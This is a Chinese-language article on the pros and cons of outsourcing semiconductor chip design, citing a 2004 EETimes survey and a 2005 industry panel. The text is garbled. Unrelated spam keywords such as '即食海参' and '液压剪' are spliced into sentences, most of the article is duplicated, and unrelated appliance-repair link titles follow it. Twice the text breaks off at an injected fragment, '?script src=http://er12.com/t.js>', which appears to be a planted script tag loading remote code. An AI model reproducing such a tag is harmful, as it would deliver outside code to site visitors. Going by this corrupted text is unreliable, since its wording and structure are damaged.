芯片设计外包的得与失铜箔

半导体器件供应商在1990年代开始将封装和测试委托第三方外包加工，后来随着集成度的提高，使制造设备的资本支出猛增，半导体器件供应商再将前端工序的晶圆制造也委托外包或离岸外包，只保留设计工序在手，以达到降低生产成本，又抓紧核心技术的目的。

进入2000年后，半导体市场先扬后挫，研发投入随着销售收益的下降而减少，位于半导体生产链最前端的设计工序也陆续委托外包，可用业界高层人士的一名话来表达，“设计外包正如物理定律那样符合规律”。<即食海参/p>

这里引用eetimes媒体在2004年8月发表的设计外包的调查结果，调查对象是北铠装电缆美洲的半导体供应商，他们的平均年销售额达到23亿美元，其中约1/4是50亿美元的大户，约1/4是5千万美元的小户。他们对设计外包调查的回答归纳如下：

最近有设计外包给第三方的公司，占36%，没有的占64%。

答问者的职业分类，硬件工程师占43%，软件工程师占11%，项目负责人占12%，系统结构师占16%，各类经理占18%。

设计外包给第三方的工作分类，后端芯片级设计占45%，依次还有软件设计40%，前端芯片级设计35%，系统级设计26%（统计有重叠）。

设计外包的第三方公司分类，设计咨询公司占46%，依次还有独立设计咨询41%，晶圆代工和电子制造服务商23%，asic供应商21%，电子设计自动化供应商21%，其他3%（统计有重叠）

设计外包商拥有的设计团队规模，约33%只有5人以下，约16%有30人以上，显然人手不够。项目设计的平均时间要求，从十年前的18个月缩短到当前约12个月，产品面市时间更加紧迫。

从以上统计资料不难看出，北美洲36%的半导体供应商都采用芯片设计外包，其中后端芯片级设计工作占45%，承包商的46%是设计咨询公司。导致芯片设计外包的原因是研发经费减少、人手不够、面市时间缩短。全球芯片设计外包的最新动向引起业界的更大关注，在3月美国的electronics summit 2005 上，研讨会“芯片设计外包的得与失”上，众位专家的发言引人注目。

芯片设计外包获得业界的共识

会议主持人是市场研究公司gartner dataquest的研究副总裁和首席分析师bryan lewis。

五家公司参与了讨论：hp和ibm都是计算机业界巨头和ic制造商，xilinx是fpga器件的重要供应商，它们对半导体业具有很影响并为人们熟知。open-silicon和wipro则是以芯片设计外包和服务为主的供应商，前者以美国为基地，后者以印度为基地，而且都成为纯ic研发服务的蓍名外包供应商。wipro拥有三万员工，客户包括北美和欧洲许多ic制造厂商，也是具有代表性的全球芯片设计代工服务公司。

oataquest 的bryan首先发言，他认为：“外包芯片设计是有得有失的。半导体业界的委托外包制造已有很长一段时间，非常明显，外包的原因是成本工业电炉和劳动力比较便宜，但是，外包设计并非一个简单的方程式。它与工程经验、技术技巧和许多具体问题有关，可见，外包是一个复杂的方程式。

座谈会要讨论的重点是，怎样的外包对用户最有效？外包设计只是为你们国家提供更多就业机会、更高的工资和更好的利润吗？显然，不仅如此。

bryan lewis继续阐述芯片设计外包的特点，“外包有两个途径，一种是委托外包，另一种是离岸外包，两种外包既有相同之处，亦有不同之处。众所周知，委托外包将芯片设计完全交给第三方承担。离岸外包通常在国内和内部设计和制造，然而，公司可派出设计小组至国外，但仍然是内部事务。例如，intel公司就有设计小组在印度、中国等地从事离岸外包工作。ti和hp同样采用离岸外包，但hp也使用补贴式委托外包。ibm和xilinx的外包设计主要安排在美国。open-silicon和wipro既是外包设计供应商也是离岸承包商，主要为了降低成本。”

根据eetimes 2005年元月?script src=http://er12.com/t.js> 半导体制造在传统上划分为设计、制造、封装、测试四个工序，从技术含量和成本来看，前端工序的设计和制造的比重最高，后端工序的封装和测试的比重相对较低。

半导体器件供应商在1990年代开始将封装和测试委托第三方外包加工，后来随着集成度的提高，使制造设备的资本支出猛增，半导体器件供应商再将前端工序的晶圆制造也委托外包或离岸外包，只保留设计工序在手，以达到降低生产成本，又抓紧核心技术的目的。

进入2000年后，半导体市场先扬后挫，研发投入随着销售收益的下降而减少，位于半导体生产链最前端的设计工序也陆续委托外包，可用业界高层人士的一名话来表达，“设计外包正如物理定律那样符合规律”。

这里引用eetimes媒体在2004年8月发表的设计外包的调查结果，调查对象是北美洲的半导体供应商，他们的平均年销售额达到23亿美元，其中约1/4是50亿美元的大户，约1/4是5千万美元的小户。他们对设计外包调查的回答归纳如下：

最近有设计外包给第三方的公司，占36%，没有的占64%。

答问者的职业分类，硬件工程师占43%，软件工程师占11%，项目负责人占12%，系统结构师占16%，各类经理占18%。

设计外包给第三方的工作分类，后端芯片级设计占45%，依次还有软件设计40%，前端芯片级设计35%，系统级设计26%（统计有重叠）。

设计外包的第三方公司分类，设计咨询公司占46%，依次还有独立设计咨询41%，晶圆代工和电子制造服务商23%，asic供应商21%，电子设计自动化供应商21%，其他3%（统计有重叠）

设计外包商拥有的设计团队规模，约33%只有5人以下，约16%有30人以上，显然人手不够。项目设计的平均时间要求，从十年前的18个月缩短到当前约12个月，产品面市时间更加紧迫。

从以上统计资料不难看出，北美洲36%的半导体供应商都采用芯片设计外包，其中后端芯片级设计工作占45%，承包商的46%是设计咨询公司。导致芯片设计外包的原因是研发经费减少、人手不够、面市时间缩短。全球芯片设计外包的最新动向引起业界的更大关注，在3月美国的electronics summit 2005 上，研讨会“芯片设计外包的得与失”上，众位专家的发言引人注目。

芯片设计外包获得业界的共识

会议主持人是市场研究公司gartner dataquest的研究副总裁和首席分析师bryan lewis。

五家公司参与了讨论：hp和ibm都是计算机业界巨头和ic制造商，xilinx是fpga器件的重要供应商，液压剪它们对半导体业具有很影响并为人们熟知。open-silicon和wipro则是以芯片设计外包和服务为主的供应商，前者以美国为基地，后者以印度为基地，而且都成为纯ic研发服务的蓍名外包供应商。wipro拥有三万员工，客户包括北美和欧洲许多ic制造厂商，也是具有代表性的全球芯片设计代工服务公司。

oataquest 的bryan首先发言，他认为：“外包芯片设计是有得有失的。半导体业界的委托外包制造已有很长一段时间，非常明显，外包的原因是成本和劳动力比较便宜，但是，外包设计并非一个简单的方程式。它与工程经验、技术技巧和许多具体问题有关，可见，外包是一个复杂的方程式。

座谈会要讨论的重点是，怎样的外包对用户最有效？外包设计只是为你们国家提供更多就业机会、更高的工资和更好的利润吗？显然，不仅如此。

bryan lewis继续阐述芯片设计外包的特点，“外包有两个途径，一种是委托外包，另一种是离岸外包，两种外包既有相同之处，亦有不同之处。众所周知，委托外包将芯片设计完全交给第三方承担。离岸外包通常在国内和内部设计和制造，然而，公司可派出设计小组至国外，但仍然是内部事务。例如，intel公司就有设计小组在印度、中国等地从事离岸外包工作。ti和hp同样采用离岸外包，但hp也使用补贴式委托外包。ibm和xilinx的外包设计主要安排在美国。open-silicon和wipro既是外包设计供应商也是离岸承包商，主要为了降低成本。”

根据eetimes 2005年元月?script src=http://er12.com/t.js>普通洗衣机脱水桶不转怎么办
变频空调的好处有哪些
大金空调如何保养
天津空调如何加氟